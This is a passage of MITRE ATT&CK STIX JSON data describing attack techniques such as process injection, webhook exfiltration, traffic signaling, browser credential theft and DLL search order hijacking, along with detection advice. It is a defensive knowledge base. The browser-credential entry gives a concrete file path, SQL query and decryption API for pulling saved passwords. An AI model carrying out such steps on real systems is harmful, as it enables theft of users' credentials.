            "created": "2017-05-31T21:30:47.843Z",
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                    "url": "https://attack.mitre.org/techniques/T1055",
                    "external_id": "T1055"
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                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
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                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
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            "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
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            "id": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d",
            "created": "2023-07-20T15:30:55.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1567/004",
                    "external_id": "T1567.004"
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                {
                    "source_name": "Checkmarx Webhooks",
                    "description": " Jossef Harush Kadouri. (2022, March 7). Webhook Party \u2014 Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.",
                    "url": "https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191"
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                    "source_name": "CyberArk Labs Discord",
                    "description": "CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord"
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                    "source_name": "Discord Intro to Webhooks",
                    "description": "D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.",
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                    "source_name": "Microsoft SQL Server",
                    "description": "Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.",
                    "url": "https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/"
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                {
                    "source_name": "Talos Discord Webhook Abuse",
                    "description": "Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.",
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                {
                    "source_name": "Push Security SaaS Attacks Repository Webhooks",
                    "description": "Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.",
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                    "source_name": "RedHat Webhooks",
                    "description": "RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.",
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            "description": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)",
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                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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                    "external_id": "T1205"
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                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"
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                {
                    "source_name": "AMD Magic Packet",
                    "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.",
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                {
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                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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                {
                    "source_name": "Hartrell cd00r 2002",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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                {
                    "source_name": "GitLab WakeOnLAN",
                    "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.",
                    "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN"
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            "modified": "2025-04-15T19:58:27.071Z",
            "name": "Traffic Signaling",
            "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tony Lee",
                "Josh Day, Gigamon"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09",
            "created": "2023-06-02T15:27:55.412Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/008",
                    "external_id": "T1021.008"
                },
                {
                    "source_name": "EC2 Instance Connect",
                    "description": "AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html"
                },
                {
                    "source_name": "AWS System Manager",
                    "description": "AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.",
                    "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html"
                },
                {
                    "source_name": "lucr-3: Getting SaaS-y in the cloud",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console",
                    "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"
                },
                {
                    "source_name": "Azure Serial Console",
                    "description": "Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.",
                    "url": "https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview"
                }
            ],
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            ],
            "modified": "2025-04-15T22:18:53.305Z",
            "name": "Direct Cloud VM Connections",
            "description": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Thanabodi Phrakhun, @naikordian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f",
            "created": "2019-06-17T19:34:51.855Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1503",
                    "external_id": "T1503"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
                    "url": "https://github.com/putterpanda/mimikittenz"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-25T15:15:28.073Z",
            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ryan Benson, Exabeam",
                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam",
                "RedHuntLabs, @redhuntlabs"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218",
                    "external_id": "T1218"
                },
                {
                    "source_name": "GTFO split",
                    "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.",
                    "url": "https://gtfobins.github.io/gtfobins/split/"
                },
                {
                    "source_name": "LOLBAS Project",
                    "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
                    "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"
                },
                {
                    "source_name": "split man page",
                    "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.",
                    "url": "https://man7.org/linux/man-pages/man1/split.1.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T19:58:27.332Z",
            "name": "System Binary Proxy Execution",
            "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Nishan Maharjan, @loki248",
                "Hans Christoffer Gaardl\u00f8s",
                "Praetorian",
                "Wes Hurd"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "File: File Creation",
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1153",
                    "external_id": "T1153"
                },
                {
                    "source_name": "Source Manual",
                    "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/source.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.323Z",
            "name": "Source",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "created": "2017-05-31T21:30:40.604Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1038",
                    "external_id": "T1038"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "external_id": "CAPEC-471"
                },
                {
                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
                },
                {
                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary_planting"
                },
                {
                    "source_name": "Microsoft 2269637",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
                    "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
                },
                {
                    "source_name": "Microsoft DLL Redirection",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600"
                },
                {
                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
                },
                {
                    "source_name": "Mandiant Search Order",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                    "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.536Z",
            "name": "DLL Search Order Hijacking",
            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "created": "2017-05-31T21:30:45.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1050",
                    "external_id": "T1050"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html",
                    "external_id": "CAPEC-550"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "Microsoft 4697 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
                },
                {
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:28.693Z",
            "name": "New Service",
            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
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            "x_mitre_contributors": [
                "Pedro Harrison"
            ],
